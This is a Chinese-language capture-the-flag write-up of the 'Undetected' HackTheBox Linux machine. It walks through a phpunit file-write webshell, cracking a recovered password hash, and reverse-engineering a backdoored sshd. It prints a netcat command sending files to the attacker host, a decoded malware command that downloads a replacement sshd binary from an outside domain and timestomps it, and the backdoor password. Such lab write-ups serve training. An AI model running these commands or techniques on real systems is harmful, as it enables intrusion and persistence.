Undetected Writeup

概述 (Overview)

550

HOST: 10.10.11.146

OS: LINUX

发布时间: 2022-02-20

完成时间: 2022-06-20

机器作者: TheCyberGeek

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #ArbitraryFileWrite #BinaryAnalysis #CommandInjection #Backdoor

攻击链(Kiillchain)

使用 Nmap 对目标服务器开放端口进行扫描,在 Web 页面中找到二级域名并进行路径枚举。发现 phpunit 组件存在任意文件写入,利用该漏洞成功获得目标服务器立足点。随后通过文件搜索发现可疑的进程 dump 文件,从中提取出密码哈希并进行明文密码枚举,成功完成账号的横向移动。通过查看用户的邮箱详情内容,排查 apache 服务在组件 Model 中发现可疑的 bash 命令。进一步分析 bash 命令得到存在 sshd 服务后门二进制文件。最终结合逆向分析得到后门 ssh 登录密码,完成权限提升。

枚举(Enumeration)

开始依然是使用 Nmap 工具,扫描目标系统开放端口。

22/tcp open ssh OpenSSH 8.2 (protocol 2.0) | ssh-hostkey: | 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA) | 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA) |_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Diana\'s Jewelry |_http-server-header: Apache/2.4.41 (Ubuntu)

从结果中获悉目标服务器是 Ubuntu,对外暴漏的端口仅有两个,看来又是一台 Web 漏洞的 VulBox。

Port 80 - HTTP

浏览器访问目标服务器 Web 服务,可以得到一个购物网站。

550

简单浏览器下页面内容,能够得到一个维护公告,看来需要找找别的路径。

NOTICE Due to a website migration we are currently not taking any online orders. Contact us if you wish to make a purchase 注意 由于网站迁移,我们目前不接受任何在线订单。 如果您想购买,请联系我们

立足点(Foothold)

通过查看下页面源代码能够得到一个二级站点的域名,直接加入到 hosts 文件里进行访问即可。

550

在此期间,使用 Gobuster 工具对子域名、子路径分别进行了枚举,能够 store 站点下的 ./vendor 路径中得到站点使用的组件信息。

1000

开始逐个检查组件服务,搜索是否存在可以利用的脆弱性漏洞,成功找到了 phpunit 存在任意文件写入漏洞。

https://blog.ovhcloud.com/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/

参考文章内容,直接发送漏洞 payload 数据包生成自定义的 Webshell:

image

利用这个 Webshell ,成功拿到目标服务器的立足点。

image

横向移动(Lateral Movement)

检查服务器可登录 User,发现存在一个 steven 用户,接着开始进行用户横向移动。

ls -la /home total 12 drwxr-xr-x 3 root root 4096 Feb 8 19:59 . drwxr-xr-x 19 root root 4096 Feb 8 19:59 .. drwxr-x--- 5 steven steven 4096 Feb 8 19:59 steven cat /etc/passwd ...snip... root:x:0:0:root:/root:/bin/bash steven1:x:1000:1000:,,,:/home/steven:/bin/bash steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash ...snip...

使用 wget 命令将 linpeas 脚本传递到目标服务器,运行脚本进行环境脆弱性枚举。让后将结果通过 nc 进行简单的文件传递,回传到 Kali 服务器。

接收方-->>>>> kali# nc -lnp 9091 > linpeas.txt 发送方-->>>>> Undetected$ nc -w 5 10.10.17.64 9091 < linpeas.txt

image

发现在 /var/backups 目录中存在一个可疑的文件,查看文件内容像是一段进程 dump 详情。其中一段 /bin/bash 执行内容引起了我的注意。

image

CyberChef

将内容复制到 CyberChef 工具中进行编码转换,得到一段创建账号的命令。

image

将命令中的密码哈希单独复制出来,通过 john 工具进行明文字典枚举,成功得到明文。

$ john --wordlist=/usr/share/wordlists/rockyou.txt --rules ./1000.hash ihatehackers $ sshpass -p 'ihatehackers' ssh [email protected]

随后通过该明文密码成功 ssh 登录,获得 steven1 用户交互 shell。

image

权限提升(Privilege Escalation)

通过当前身份重新运行 linpeas 脚本,进行环境脆弱性分析得到两个可能利用的 CVE 漏洞。

image

检查了服务器环境,发现没有 GCC、Make 等命令。尝试通过本地运行 Docker,生成对应目标服务器环境的 exploit 二进制文件,传递到目标服务器执行都失败了。

尝试查看其他信息,发现目标服务器文件中存在邮箱详情。

image

邮件说在 Apache 服务中存在一些奇怪的行为,顺着这一线索去检查 Apache 配置文件、Web 站点目录及组件库。

steven@production:/usr/lib/apache2/modules$ ls -tlr | head total 8772 -rw-r--r-- 1 root root 34800 May 17 2021 mod_reader.so -rw-r--r-- 1 root root 4625776 Nov 25 2021 libphp7.4.so -rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_xml2enc.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_vhost_alias.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_usertrack.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_userdir.so -rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_unique_id.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_suexec.so -rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_substitute.so -t, --sort=time # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件靠前。 -l, --format=long, --format=verbose # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte) # 、及时间信息(如未指明是其它时间即指修改时间)。 -r # 逆序排列。

通过排序近期文件修改时间,发现 mod_reader.so 文件存在可疑。将其传递至 kali 进行分析,这里我用的是 hexyl 工具,比 xxd 的优点就是可以高亮显示。

hexyl - https://github.com/sharkdp/hexyl

简单查看下,发现里面存在一段 bash 命令执行命令。

image

使用 base64 对其解密可以得到原始命令:

echo 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

可以看到,从远端下载了一个新的 sshd 二进制文件,替换了目标服务器上的 sshd。所以继续将 /usr/sbin/sshd 文件传递到 kali,进行本地分析。

这里出现了一个有意思的东西,我分别使用 Cutter、IDA、Ghidra 进行分析,里面都有一个 auth_password 的后门方法,但它们生成的伪代码都不一样,后门密码比对生成的 char 编码也不一致,人都给看麻了。

image

image

这里我最终提取的 Ghidra 的伪代码段,它对 char 的还原比较直观。

backdoor._28_2_ = 0xa9f4; backdoor._24_4_ = 0xbcf0b5e3; backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; backdoor[30] = 0xa5; backdoor._0_4_ = 0xf0e7abd6; backdoor._4_4_ = 0xa4b3a3f3; backdoor._8_4_ = 0xf7bbfdc8; backdoor._12_4_ = 0xfdb3d6e7;

这里说明下,在之前的伪代码段中 backdoor 是 char 类型的数组,长度为 31。下标从 0 开始,所以我们要对 backdoor.0_4 至 backdoor[30] 进行排序。注意,最后还有一个对 char 进行异或的运算(^0x96)。

这里我还是使用 CyberChef 工具来完成字符串处理:

image

pass=>> @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3

得到最终的后门密码,直接进行 ssh 登录就可以了。

image


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。